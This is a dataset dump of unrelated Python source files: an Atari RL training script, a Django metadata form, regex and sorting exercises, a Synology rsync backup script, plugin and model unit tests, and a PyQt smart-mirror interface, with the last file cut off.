lr=args.learning_rate,\n                lr_decay_factor=args.lr_decay_factor,\n                lr_growth_factor=args.lr_growth_factor,\n                max_timesteps=args.nb_train_steps,\n                buffer_size=args.buffer_size,\n                batch_size=args.batch_size,\n                exploration_fraction=args.eps_fraction,\n                exploration_final_eps=args.eps_min,\n                train_freq=4,\n                print_freq=args.nb_epoch_steps,\n                checkpoint_freq=int(args.nb_train_steps/5),\n                checkpoint_path=reload_path,\n                learning_starts=args.nb_warmup_steps,\n                target_network_update_freq=args.target_update_freq,\n                gamma=args.gamma,\n                prioritized_replay=bool(args.prioritized),\n                prioritized_replay_alpha=args.prioritized_replay_alpha,\n                scope=args.scope,\n                alg=args.alg,\n                sdMin=np.sqrt(args.varth),\n                noise=args.noise,\n                act_policy=args.act_policy,\n                epoch_steps=args.nb_epoch_steps,\n                eval_logger=Logger(args.env, 'atari',\n                        nb_test_steps=nb_test_steps, save_dir=save_dir_0,\n                        render=bool(args.render)),\n                save_dir=save_dir_0,\n                test_eps=args.test_eps,\n                init_t=args.init_t,\n                gpu_memory=args.gpu_memory,\n                render=bool(args.render)\n            )\n            print(\"Saving model to model.pkl\")\n            act.save(os.path.join(save_dir_0,\"model.pkl\"))\n    env.close()\n    if args.record == 1:\n        env.moviewriter.finish()\n\ndef test():\n    env = envs.make(args.env, 'atari', render = bool(args.render),\n                    record = bool(args.record), directory=args.log_dir)\n    learning_prop = json.load(open(os.path.join(args.log_dir, '../learning_prop.json'),'r'))\n    act_params = {'scope': \"seed_%d\"%learning_prop['seed']+\"/\"+learning_prop['scope'], 'eps': args.test_eps}\n    act = deepadfq.load(os.path.join(args.log_dir, args.log_fname), act_params)\n    episode_rew = 0\n    t = 0\n    while True:\n        obs, done = env.reset(), False\n        while(not done):\n            if args.render:\n                env.render()\n                time.sleep(0.05)\n            obs, rew, done, info = env.step(act(obs[None])[0])\n            # Reset only the enviornment but not the recorder\n            if args.record and done:\n                obs, done = env.env.reset(), False\n            episode_rew += rew\n            t += 1\n        if info['ale.lives'] == 0:\n            print(\"Episode reward %.2f after %d steps\"%(episode_rew, t))\n            episode_rew = 0\n            t = 0\n\nif __name__ == '__main__':\n    if args.mode == 'train':\n        save_dir = os.path.join(args.log_dir, '_'.join([args.env, datetime.datetime.now().strftime(\"%m%d%H%M\")]))\n        if not os.path.exists(save_dir):\n            os.makedirs(save_dir)\n        else:\n            ValueError(\"The directory already exists...\", save_dir)\n        json.dump(vars(args), open(os.path.join(save_dir, 'learning_prop.json'), 'w'))\n        seed = args.seed\n        for _ in range(args.repeat):\n            print(\"===== TRAIN AN ATARI RL AGENT : SEED %d =====\"%seed)\n            train(seed, save_dir)\n            seed += 1\n        notes = input(\"Any notes for this experiment? : \")\n        f = open(os.path.join(save_dir, \"notes.txt\"), 'w')\n        f.write(notes)\n        f.close()\n    elif args.mode =='test':\n        test()\n","sub_path":"deep_adfq/run_atari.py","file_name":"run_atari.py","file_ext":"py","file_size_in_byte":7269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"268432815","text":"from django.core.exceptions import ValidationError\nfrom django.core.validators import URLValidator\nfrom django.forms import Form, HiddenInput, Textarea\nfrom django.forms.fields import BooleanField, CharField\nfrom django.utils.translation import gettext_lazy as _\nfrom lxml import etree\n\nfrom rr.models.serviceprovider import ServiceProvider\n\n\nclass MetadataForm(Form):\n    \"\"\"\n    Form for importing metadata.\n    \"\"\"\n\n    metadata = CharField(widget=Textarea, help_text=_(\"Service Provider metadata\"))\n    disable_checks = BooleanField(required=False, help_text=_(\"Disable checks for Endpoint bindings\"))\n    validate = BooleanField(required=False, help_text=_(\"Validate imported metadata\"))\n\n    def __init__(self, *args, **kwargs):\n        self.user = kwargs.pop(\"user\", None)\n        super(MetadataForm, self).__init__(*args, **kwargs)\n        if not self.user.is_superuser:\n            del self.fields[\"disable_checks\"]\n            del self.fields[\"validate\"]\n\n    def clean(self):\n        cleaned_data = super().clean()\n        metadata = cleaned_data.get(\"metadata\").encode(\"utf-8\")\n        parser = etree.XMLParser(ns_clean=True, remove_comments=True, remove_blank_text=True, encoding=\"utf-8\")\n        try:\n            root = etree.fromstring(metadata, parser)\n        except etree.XMLSyntaxError as e:\n            raise ValidationError(_(\"Not valid XML: \" + str(e)))\n        if etree.QName(root.tag).localname != \"EntityDescriptor\":\n            raise ValidationError(_(\"First element should be EntityDescriptor\"))\n        entity_id = root.get(\"entityID\")\n        if not entity_id:\n            raise ValidationError(_(\"Could not find entityID\"))\n        if not self.user.is_superuser:\n            url_validator = URLValidator()\n            try:\n                url_validator(entity_id)\n            except ValidationError:\n                raise ValidationError(_(\"Entity Id should be URI, please contact IdP admins if this is not possible.\"))\n        if ServiceProvider.objects.filter(entity_id=entity_id, end_at=None, history=None):\n            raise ValidationError(_(\"Entity Id already exists\"))\n\n\nclass MetadataCommitForm(Form):\n    \"\"\"\n    Form for committing metadata.\n    \"\"\"\n\n    commit_message = CharField(initial=\"Metadata update\", help_text=_(\"Commit message\"))\n    diff_hash = CharField()\n\n    def __init__(self, *args, **kwargs):\n        self.diff_hash = kwargs.pop(\"diff_hash\", None)\n        super(MetadataCommitForm, self).__init__(*args, **kwargs)\n        self.fields[\"diff_hash\"].widget = HiddenInput()\n        self.fields[\"diff_hash\"].initial = self.diff_hash\n","sub_path":"rr/forms/metadata.py","file_name":"metadata.py","file_ext":"py","file_size_in_byte":2585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"63942395","text":"from re import *\n#pattern='a+'only checks a's occurance\npattern='a*'#checks all occurances\n#pattern='a?'# check a and non a.non a position prints\n#pattern='a{2}'#two a varunna occurance\n#pattern='a{2,3}'  #minimum 2and max 3 occurances of a\ncount=0\nmatcher=finditer(pattern,\"aaaabbaaabbaab\")\nfor match in matcher:\n    print(match.start())\n    print(match.group())\n    count+=1\nprint(count)","sub_path":"luminarpython/Regular Expression/quantifiers.py","file_name":"quantifiers.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"391017318","text":"\n\n#calss header\nclass _SEVERE():\n\tdef __init__(self,): \n\t\tself.name = \"SEVERE\"\n\t\tself.definitions = [u'causing very great pain, difficulty, worry, damage, etc.; very serious: ', u'extreme or very difficult: ', u\"not kind or showing sympathy; not willing to accept other people's mistakes or failures: \", u'completely plain and without decoration: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'adjectives'\n\n\n\tdef run(self, obj1, obj2):\n\t\tself.jsondata[obj2] = {}\n\t\tself.jsondata[obj2]['properties'] = self.name.lower()\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/adjectives/_severe.py","file_name":"_severe.py","file_ext":"py","file_size_in_byte":602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"443297276","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport argparse\nimport logging\nimport logging.handlers\nimport os\nimport signal\nimport socket\nimport subprocess\nimport sys\n\n###############################################################################\n\n__version__ = \"\"\n__date__ = \"\"\n\n###############################################################################\n\nRSYNC_USER     = \"rsync\"\nRSYNC_HOST     = \"mini.local\"\nRSYNC_PASSWORD = \"rsync\"\nRSYNC_FILES    = \"/volume1/local/etc/backup.files\"\nRSYNC_EXCLUDES = \"/volume1/local/etc/backup.excludes\"\nLOCAL_ROOT     = \"/volume1/\"\nREMOTE_ROOT    = \"Drobo/DS1/volume1\"\n\n###############################################################################\n\nCAFPROC        = None\nRSYNCPROC      = None\n\n###############################################################################\n\nlog            = logging.getLogger(__name__)\n\n###############################################################################\n\npidfile = \"/volume1/local/var/run/backup.pid\"\n\n###############################################################################\n\ndef interrupt_handler(signal, frame):\n    global args\n    global CAFPROC\n    global RSYNCPROC\n\n    log.warn(\"Interrupted by signal {0}.\".format(signal))\n\n    try:\n        RSYNCPROC.terminate()\n    except AttributeError:\n        pass\n    try:\n        CAFPROC.terminate()\n    except AttributeError:\n        pass\n\n    os.unlink(pidfile)\n    sys.exit(signal)\n\n###############################################################################\n\ndef main():\n    global args\n    global CAFPROC\n    global RSYNCPROC\n\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--version\", action=\"version\", version=\"%(prog)s {0} ({1})\".format(__version__, __date__))\n    parser.add_argument(\"-i\", \"--interactive\", dest=\"interactive\", help=\"interactive\", action=\"store_true\")\n    parser.add_argument(\"-n\", \"--dry-run\", dest=\"dryrun\", help=\"dry run\", action=\"store_true\")\n    parser.add_argument(\"--delete\", dest=\"delete\", help=\"delete\", action=\"store_true\")\n    parser.add_argument(\"--only-delete\", dest=\"onlydelete\", help=\"only delete\", action=\"store_true\")\n    args = parser.parse_args()\n\n    # Set up logging. When run interactively, messages go to standard out. Otherwise they go to the local syslog. Syno, in their wisdom, have set up the local syslog facility to ignore all messages less severe than WARN, so everything we output goes out as WARN or higher. Go figure.\n\n    log.setLevel(logging.WARN)\n    if (args.interactive):\n        handler = logging.StreamHandler(sys.stdout)\n        formatter = logging.Formatter('%(asctime)s %(filename)s[%(process)d]: %(message)s', '%b %d %H:%M:%S')\n    else:\n        handler = logging.handlers.SysLogHandler(address='/dev/log', facility=logging.handlers.SysLogHandler.LOG_USER)\n        formatter = logging.Formatter('%(filename)s[%(process)d]: %(message)s')\n    handler.setLevel(logging.WARN)\n    handler.setFormatter(formatter)\n    log.addHandler(handler)\n    log.warn(\"Starting.\")\n\n    signal.signal(signal.SIGINT, interrupt_handler)\n    signal.signal(signal.SIGTERM, interrupt_handler)\n\n    pid = str(os.getpid())\n    if os.path.isfile(pidfile):\n        log.critical(\"A backup is already running.\")\n        sys.exit(1)\n    else:\n        file(pidfile, 'w').write(pid)\n\n    # Caffeinating the rsync server is a precaution. If it goes to sleep in mid-sync, there's really no good way to detect that and recover from it gracefully. So instead we just force the Mac to stay awake until we're done with it.\n\n    cafCmd = [\"/usr/syno/bin/ssh\", \"-tt\", RSYNC_USER + \"@\" + RSYNC_HOST, \"/usr/bin/caffeinate -s\"]\n    CAFPROC = subprocess.Popen(cafCmd, stdin = subprocess.PIPE, stdout = subprocess.PIPE, stderr = subprocess.PIPE)\n\n    # Construct the massively really egregiously huge rsync command line out of parts we find lying around.\n\n    rsyncCmd = [\"/usr/syno/bin/rsync\",\n                \"--recursive\",\n                \"--links\", \"--devices\", \"--specials\",\n                \"--times\", \"--perms\",\n                \"--chmod=Du+rwx,Dg-rwxs,Dg+rx,Do-rwx,Fu-rwx,Fu+rw,Fg-rwx,Fg+r,Fo-rwx\",\n                \"--whole-file\",\n                \"--verbose\", \"--human-readable\", \"--itemize-changes\", \"--stats\",\n                \"--iconv=utf8\",\n                \"--files-from=\"+RSYNC_FILES,\n                \"--exclude-from=\"+RSYNC_EXCLUDES,\n                LOCAL_ROOT, RSYNC_USER+\"@\"+RSYNC_HOST+\"::\"+REMOTE_ROOT]\n\n    if args.dryrun == True:\n        rsyncCmd.insert(1, \"--dry-run\")\n\n    if args.interactive == True:\n        rsyncCmd.insert(1, \"--progress\")\n\n    if args.delete == True and args.onlydelete == False:\n        rsyncCmd.insert(1, \"--delete-during\")\n\n    if args.onlydelete == True:\n        rsyncCmd.insert(1, \"--delete-during\")\n        rsyncCmd.insert(1, \"--ignore-non-existing\")\n        rsyncCmd.insert(1, \"--ignore-existing\")\n\n    log.warn(\" \".join(rsyncCmd))\n\n    # If we're running interactively, route rsync's output directly to stdout so we can make use of the cool --progress feature which shows things like real-time transfer speed in megabytes per second. Handy.\n\n    if (args.interactive):\n        RSYNCPROC = subprocess.Popen(rsyncCmd,\n                                     stdin = subprocess.PIPE,\n                                     stdout = sys.stdout,\n                                     stderr = subprocess.STDOUT,\n                                     env={\"RSYNC_PASSWORD\": RSYNC_PASSWORD})\n    else:\n        RSYNCPROC = subprocess.Popen(rsyncCmd,\n                                     stdin = subprocess.PIPE,\n                                     stdout = subprocess.PIPE,\n                                     stderr = subprocess.STDOUT,\n                                     env={\"RSYNC_PASSWORD\": RSYNC_PASSWORD})\n        for line in iter(RSYNCPROC.stdout.readline, \"\"):\n            log.warn(line.rstrip())\n\n    RSYNCPROC.wait()\n\n    # If rsync finished cleanly and we're not running interactively, bark out a Synology notification.\n\n    if (RSYNCPROC.returncode == 0):\n        if (args.interactive == False):\n            subprocess.call([\"/usr/syno/bin/synonotify\", \"NetBkpOK\"])\n        log.warn(\"Backup completed successfully.\")\n    else:\n        if (args.interactive == False):\n            subprocess.call([\"/usr/syno/bin/synonotify\", \"NetBkpError\"])\n        log.warn(\"Backup failed with error \" + str(RSYNCPROC.returncode) + \".\")\n\n    CAFPROC.terminate()\n\n    os.unlink(pidfile)\n\n    sys.exit(RSYNCPROC.returncode)\n\n###############################################################################\n\nif __name__ == \"__main__\":\n    main()\n","sub_path":"src/backup.py","file_name":"backup.py","file_ext":"py","file_size_in_byte":6561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"212164866","text":"# insert sort\n\ndef insert_sort(list):\n    for i in range(1,len(list)):\n        j = i\n        while j>0 and list[j-1]>list[j]:\n            list[j],list[j-1]=list[j-1],list[j]\n            j -= 1\n    print(list)\n    return list\n\ndef insert_sort_rec(list,m):\n    if m==0:\n        print(list)\n        return\n    mmax=m\n    for i in range(m):\n        if list[i]>list[mmax]:\n            mmax = i\n    list[m],list[mmax]=list[mmax],list[m]\n    insert_sort_rec(list,m-1)\n    #print(list)\n\n\n\n#insert_sort([5,1,2,4,6,3])\ninsert_sort_rec([5,1,2,4,6,3],5)","sub_path":"python/sort/Insert_sort.py","file_name":"Insert_sort.py","file_ext":"py","file_size_in_byte":541,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"154239231","text":"# -*- coding: utf-8 -*-\n'''\nReads all the CSV file inside 'data/' folder as a DataFrame\nDivides the population size into several groups \nCalculates total population of each city\nCategorize the cities w.r.t defined groups\nPlots the size of each group in a Scatter Chart for each year under output/ folder\n\n@author: pekzeki\n'''\n\nfrom __future__ import division\nimport commons\n\nimport pygal      \nimport glob\nimport os\nimport collections\n\nyears = {}\n\nfiles = glob.glob(os.path.join('data','*.csv'))\nfor file in files:\n    year = int(commons.get_year(file))\n    tmp = commons.get_population_skipfirst(file)\n   \n    p_1000k = 0\n    p_600k = 0\n    p_300k = 0\n    p_50k = 0\n    \n    total_population = tmp['Toplam']\n    for index, row in total_population.iteritems():\n        city_population = commons.convert_integer(row)\n        \n        if city_population > 1000000:\n            p_1000k += 1\n        elif city_population > 600000:\n            p_600k += 1\n        elif city_population > 300000:\n            p_300k += 1\n        else:\n            p_50k += 1\n            \n    \n    city_population_list = [p_50k, p_300k, p_600k, p_1000k] \n    years[year] = city_population_list\n    \n\n#sort dictionary \nsorted_years = collections.OrderedDict(sorted(years.items()))  \nitems = sorted_years.items()\nitems.reverse()\nreverse_years = collections.OrderedDict(items) \n\n#Plotting the data\ndot_chart = pygal.Dot(x_label_rotation=30, y_title='Years', x_title='Population')\ndot_chart.title = 'Population Groups in Each Year'\ndot_chart.x_labels = ['0-300000', '300000-600000', '600000-1000000', '>1000000']\nfor year in reverse_years.keys():\n    dot_chart.add(str(year), reverse_years.get(year))\ndot_chart.render_to_file('output/group_of_population.svg')\n","sub_path":"group_of_population.py","file_name":"group_of_population.py","file_ext":"py","file_size_in_byte":1731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"222515953","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.5 (3351)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /home/hachterberg/dev/fastr/fastr/fastr/resources/plugins/ioplugins/test/test_virtualfilesystem.py\n# Compiled at: 2018-10-10 10:26:28\n# Size of source mod 2**32: 5803 bytes\nimport os, random, shutil, string, tempfile, fastr\n\nclass TestVFS:\n\n    def setup(self):\n        self.vfs_plugin = fastr.plugin_manager['VirtualFileSystem']\n        fastr.log.info('Setup')\n        self.dir = os.path.join(fastr.config.mounts['tmp'], '_test')\n        if os.path.exists(self.dir):\n            fastr.log.warning('Cleaning up existing temporary test directory {}'.format(self.dir))\n            shutil.rmtree(self.dir)\n        os.makedirs(self.dir)\n        fastr.log.info('Using temporary directory {}'.format(self.dir))\n        if not os.path.isdir(self.dir):\n            fastr.log.critical('Temporary directory not available!')\n        self.source_dir = os.path.join(self.dir, 'source')\n        os.mkdir(self.source_dir)\n        self.destination_dir = os.path.join(self.dir, 'destination')\n        os.mkdir(self.destination_dir)\n        self.handle, self.absfilename = tempfile.mkstemp(dir=self.source_dir)\n        self.filename = os.path.basename(self.absfilename)\n        self.niigz_handle, self.niigz_absfilename = tempfile.mkstemp(dir=self.source_dir, suffix='.nii.gz')\n        self.niigz_filename = os.path.basename(self.niigz_absfilename)\n        fastr.log.info('Created {} and {}'.format(self.absfilename, self.niigz_absfilename))\n        if not os.path.exists(self.absfilename):\n            fastr.log.critical('Source file {} does not exist!'.format(self.absfilename))\n        if not os.path.exists(self.niigz_absfilename):\n            fastr.log.critical('Source file {} does not exist!'.format(self.niigz_absfilename))\n\n    def random_unique_string(self, length=8, existing=None):\n        \"\"\" Return a random alpha-numeric string with a certain length. \"\"\"\n        s = ''.join([random.choice(string.ascii_letters + string.digits) for ch in range(length)])\n        if existing is not None and s in existing:\n            s = self.random_unique_string(length, existing)\n        return s\n\n    def test_ioplugins_pull_source_data_no_extension(self):\n        output_file = os.path.join(self.destination_dir, self.filename)\n        self.vfs_plugin.pull_source_data('vfs://tmp/_test/source/{}'.format(self.filename), self.destination_dir, 'id_0', datatype=fastr.types['NiftiImageFile'])\n        assert os.path.isfile(output_file)\n        if os.path.isfile(output_file):\n            os.remove(output_file)\n\n    def test_ioplugins_pull_source_data_niigz(self):\n        self.vfs_plugin.pull_source_data('vfs://tmp/_test/source/{}'.format(self.filename), self.destination_dir, 'id_nii_0', datatype=fastr.types['NiftiImageFileCompressed'])\n        output_file = os.path.join(self.destination_dir, self.filename)\n        assert os.path.isfile(output_file)\n        if os.path.isfile(output_file):\n            os.remove(output_file)\n\n    def test_ioplugins_pull_source_data_mhd(self):\n        absfilename_mhd = os.path.join(fastr.config.mounts['example_data'], 'images', 'mrwhite.mhd')\n        absfilename_raw = os.path.join(fastr.config.mounts['example_data'], 'images', 'mrwhite.raw')\n        filename_mhd = os.path.basename(absfilename_mhd)\n        filename_raw = os.path.basename(absfilename_raw)\n        destination_path = self.destination_dir\n        destination_path_mhd = os.path.join(self.destination_dir, filename_mhd)\n        destination_path_raw = os.path.join(self.destination_dir, filename_raw)\n        if os.path.exists(destination_path_mhd):\n            os.remove(destination_path_mhd)\n        if os.path.exists(destination_path_raw):\n            os.remove(destination_path_raw)\n        self.vfs_plugin.pull_source_data(self.vfs_plugin.path_to_url(absfilename_mhd), destination_path, 'id_mhd_0', datatype=fastr.types['ITKImageFile'])\n        assert os.path.isfile(destination_path_mhd)\n        assert os.path.isfile(destination_path_raw)\n\n    def test_ioplugins_push_sink_data_niigz(self):\n        random_filename = self.random_unique_string()\n        output_file = os.path.join(self.destination_dir, random_filename) + '.nii.gz'\n        output_url = self.vfs_plugin.path_to_url(output_file)\n        self.vfs_plugin.push_sink_data(self.niigz_absfilename, output_url)\n        assert os.path.isfile(output_file)\n        if os.path.isfile(output_file):\n            os.remove(output_file)\n\n    def test_ioplugins_push_sink_data_mhd(self):\n        absfilename_mhd = os.path.join(fastr.config.mounts['example_data'], 'images', 'mrwhite.mhd')\n        absfilename_raw = os.path.join(fastr.config.mounts['example_data'], 'images', 'mrwhite.raw')\n        filename_mhd = os.path.basename(absfilename_mhd)\n        filename_raw = os.path.basename(absfilename_raw)\n        push_target = os.path.join(self.destination_dir, 'sink')\n        os.mkdir(push_target)\n        destination_path_mhd = os.path.join(push_target, filename_mhd)\n        destination_path_raw = os.path.join(push_target, filename_raw)\n        destination_url_mhd = self.vfs_plugin.path_to_url(destination_path_mhd)\n        if os.path.exists(destination_path_mhd):\n            os.remove(destination_path_mhd)\n        if os.path.exists(destination_path_raw):\n            os.remove(destination_path_raw)\n        self.vfs_plugin.push_sink_data(absfilename_mhd, destination_url_mhd)\n        assert os.path.isfile(destination_path_mhd)\n        assert os.path.isfile(destination_path_raw)","sub_path":"pycfiles/fastr-3.1.3-py3-none-any/test_virtualfilesystem.cpython-35.py","file_name":"test_virtualfilesystem.cpython-35.py","file_ext":"py","file_size_in_byte":5587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"637738788","text":"import sys\nimport cloudkeeper.logging\nfrom cloudkeeper.args import get_arg_parser, ArgumentParser\nfrom cloudkeeper_plugin_aws import get_org_accounts\n\n\ncloudkeeper.logging.getLogger(\"cloudkeeper\").setLevel(cloudkeeper.logging.ERROR)\nlog = cloudkeeper.logging.getLogger(__name__)\n\nargv = sys.argv[1:]\nif \"-v\" in argv or \"--verbose\" in argv:\n    cloudkeeper.logging.getLogger(\"cloudkeeper\").setLevel(cloudkeeper.logging.DEBUG)\n\n\ndef main() -> None:\n    # Add cli args\n    arg_parser = get_arg_parser()\n    add_args(arg_parser)\n    arg_parser.parse_args()\n    accounts = get_org_accounts()\n    for account in accounts:\n        print(account)\n\n\ndef add_args(arg_parser: ArgumentParser) -> None:\n    arg_parser.add_argument(\n        \"--aws-access-key-id\", help=\"AWS Access Key ID\", dest=\"aws_access_key_id\"\n    )\n    arg_parser.add_argument(\n        \"--aws-secret-access-key\",\n        help=\"AWS Secret Access Key\",\n        dest=\"aws_secret_access_key\",\n    )\n    arg_parser.add_argument(\"--aws-role\", help=\"AWS IAM Role\", dest=\"aws_role\")\n    arg_parser.add_argument(\n        \"--aws-role-override\",\n        help=\"Override any stored roles (e.g. from remote graphs) (default: False)\",\n        dest=\"aws_role_override\",\n        action=\"store_true\",\n        default=False,\n    )\n\n\nif __name__ == \"__main__\":\n    main()\n","sub_path":"plugins/aws/cloudkeeper_plugin_aws/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":1311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"408703373","text":"import unittest\nimport yamlUtil\nimport arcternbase\nimport random\n\n\ndef getGroundTruth(yaml):\n    groundTruths = []\n    for i in yaml:\n        gt = {}\n        gt[\"file\"] = i[\"ELEMENT\"][0][\"VALUE\"]\n        gt[\"type\"] = i[\"ELEMENT\"][1][\"VALUE\"]\n        gt[\"score\"] = i[\"ELEMENT\"][2][\"VALUE\"]\n        # print(gt)\n        groundTruths.append(gt)\n    return groundTruths\n\n\ndef getInput(yaml):\n    inputs = {}\n    for i in yaml:\n        file = i[\"ELEMENT\"][0][\"VALUE\"]\n        rect = i[\"ELEMENT\"][1][\"VALUE\"]\n        inputs[file] = rect\n    return inputs\n\n\nclass TestPyArctern_FACEMASK(unittest.TestCase):\n\n    def compare(self, item, attr):\n        #self.assertEqual(attr[0], item[\"type\"][0] == 1)\n        self.assertAlmostEqual(attr[1], item[\"score\"][0], delta=1e-2)\n\n    def test_face_mask(self):\n        ymlPath = yamlUtil.getDIR() + \"results_arcterncpp/LINUX_MXNET_CPU/face-mask-d-0.2.1-rc.yml\"\n        imgDir = yamlUtil.getDIR() + \"data/predict_face_mask/\"\n        modelPath = yamlUtil.getModelDir() + \"develop/face/tvm0.7/avx2/face-mask-tvm-f32-d-0.2.1-var7.bin\"\n\n        yaml_info = yamlUtil.readyaml(ymlPath)\n        grounds = getGroundTruth(yaml_info)\n        print(\"----\",grounds)\n\n        ymlInputPath = yamlUtil.getDIR() + \"input_params/face-mask-d-0.2.1-i.yml\"\n        input_info = yamlUtil.readyaml(ymlInputPath)\n        inputs = getInput(input_info)\n\n        arctMgr = arcternbase.ArcternManager()\n        arctMgr.set_face_mask_model(modelPath)\n\n        # single detect\n        for item in grounds:\n            print(item)\n            file = item['file']\n            pic = imgDir + file\n            test_person_image = arcternbase.read_image(pic)\n            attr = arctMgr.predict_face_mask(test_person_image, inputs[file] )\n            self.compare(item, attr)\n\n        #batch detect\n        idx = 0\n        sum = len(grounds)\n        while idx < sum:\n            cnt = random.randint(1, sum - idx)\n            pics = []\n            facess=[]\n            for picIdx in range(cnt):\n                file = grounds[picIdx + idx]['file']\n                pic = imgDir + file\n                test_person_image = arcternbase.read_image(pic)\n                pics.append(test_person_image)\n                faces=[]\n                faces.append(inputs[file])\n                facess.append(faces)\n\n            attrs = arctMgr.predict_face_mask_batch(pics, facess)\n            for picIdx in range(cnt):\n                self.compare(item=grounds[picIdx + idx], attr=attrs[picIdx][0])\n\n            idx += cnt\n\n\n\nif __name__ == '__main__':\n    unittest.main()\n","sub_path":"mycode/PROJ/2021/40_arc-inte/arctern-base/UnitTest/python/face_mask.py","file_name":"face_mask.py","file_ext":"py","file_size_in_byte":2556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"109218868","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n#import rili\n#import ccxt\n#import calendar\nimport datetime\nimport time\nimport sys\nimport news\nimport smoke\nimport weather\nimport wenshidu\nimport gaibianweightfile1\nimport schedule\nimport memo\n\n#from PyQt5.QtGui import QPalette, QPixmap, QColor, QPainter\nfrom PyQt5.QtWidgets import QWidget, QLabel, QFrame, QVBoxLayout, QApplication\n#from PyQt5.QtCore import Qt\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtWidgets import *\nimport requests\nfrom bs4 import BeautifulSoup\n\n\n\nclass Example(QWidget):\n\n    def __init__(self):\n        super().__init__()\n        \n        #创建线程\n        thread_wenshi = MyThread_wenshi() # 创建线程 wenshi \n        thread_wenshi.update_date.connect(self.update_wenshi) # 线程发过来的信号挂接到槽：update\n        thread_wenshi.start()\n        \n        thread_news = MyThread_news() # 创建线程 news\n        thread_news.update_date.connect(self.update_news) # 线程发过来的信号挂接到槽：update1\n        thread_news.start()\n        '''\n        thread_event = MyThread_event() # 创建另一个线程2\n        thread_event.update_date.connect(self.update_event) # 线程发过来的信号挂接到槽：update2\n        thread_event.start()\n        '''\n        thread_smoke = MyThread_smoke() # 创建线程 smoke\n        thread_smoke.update_date.connect(self.update_smoke) # 线程发过来的信号挂接到槽：update3\n        thread_smoke.start()\n        \n        #初始化窗口\n        self.initUI()\n\n    def initUI(self):\n        # 背景颜色  \n        col = QColor(\"black\")\n        self.setStyleSheet(\"QWidget { background-color: %s }\" % col.name())\n        \n        textCol = QPalette()  \n        textCol.setColor(QPalette.WindowText,Qt.white)\n        \n        #标签-时间\n        self.label1 = QLabel(self)  \n        self.label1.setAlignment(Qt.AlignCenter)\n        self.label1.setText(time.strftime(\"%I:%M\",time.localtime()))             \n        self.label1.setPalette(textCol)            \n        self.label1.setFont(QFont(\"Helvetica\",48))            \n        self.label1.move(780,20)\n        \n        #标签-温度\n        self.label3 = QLabel(self)  \n        self.label3.setAlignment(Qt.AlignCenter)\n        text=wenshidu.wenshi()\n        te=str(text[0])\n        self.label3.setText('温度:'+te+'℃')            \n        self.label3.setPalette(textCol)            \n        self.label3.setFont(QFont(\"Helvetica\",18))            \n        self.label3.move(50,710)\n        \n        #标签-湿度\n        self.label4 = QLabel(self)  \n        self.label4.setAlignment(Qt.AlignCenter)\n        text=wenshidu.wenshi()\n        te=str(text[1])\n        self.label4.setText('湿度:'+te+'%')\n        self.label4.setPalette(textCol)            \n        self.label4.setFont(QFont(\"Helvetica\",18))            \n        self.label4.move(860,710)\n        \n        #标签-城市\n        self.label6 = QLabel(self)  \n        self.label6.setAlignment(Qt.AlignCenter)\n        self.label6.setText('镇江')           \n        self.label6.setPalette(textCol)            \n        self.label6.setFont(QFont(\"Helvetica\",48))            \n        self.label6.move(50,20)\n        \n        #标签-天气\n        self.label7 = QLabel(self)  \n        self.label7.setAlignment(Qt.AlignCenter)\n        text7 = weather.weather()\n        self.label7.setText(text7['type'])\n        self.label7.setPalette(textCol)            \n        self.label7.setFont(QFont(\"Helvetica\",28))            \n        self.label7.move(200,30)\n        \n        #标签-最高温度\n        self.label8 = QLabel(self)  \n        self.label8.setAlignment(Qt.AlignCenter)\n        text8 = weather.weather()\n        self.label8.setText(text8['high']+'  ~')            \n        self.label8.setPalette(textCol)            \n        self.label8.setFont(QFont(\"Helvetica\",18))            \n        self.label8.move(50,100)\n        \n        #标签-最低温度\n        self.label9 = QLabel(self)  \n        self.label9.setAlignment(Qt.AlignCenter)\n        text9 = weather.weather()\n        self.label9.setText(text9['low'])            \n        self.label9.setPalette(textCol)            \n        self.label9.setFont(QFont(\"Helvetica\",18))            \n        self.label9.move(200,100)\n        \n        #标签-当天日期\n        self.label10 = QLabel(self)  \n        self.label10.setAlignment(Qt.AlignCenter)\n        text10 = str(datetime.date.today())\n        self.label10.setText(text10)            \n        self.label10.setPalette(textCol)            \n        self.label10.setFont(QFont(\"Helvetica\",18))            \n        self.label10.move(825,100)\n\n        #标签-星期数\n        self.label11 = QLabel(self)  \n        self.label11.setAlignment(Qt.AlignCenter)\n        dayOfWeek=str(time.strftime(\"%A\",time.localtime()))\n        self.label11.setText(dayOfWeek)            \n        self.label11.setPalette(textCol)            \n        self.label11.setFont(QFont(\"Helvetica\",16))            \n        self.label11.move(900,140)\n        \n        #标签Title-NEWS\n        self.news_tt = QLabel(self)  \n        self.news_tt.setText('News')            \n        self.news_tt.setPalette(textCol)            \n        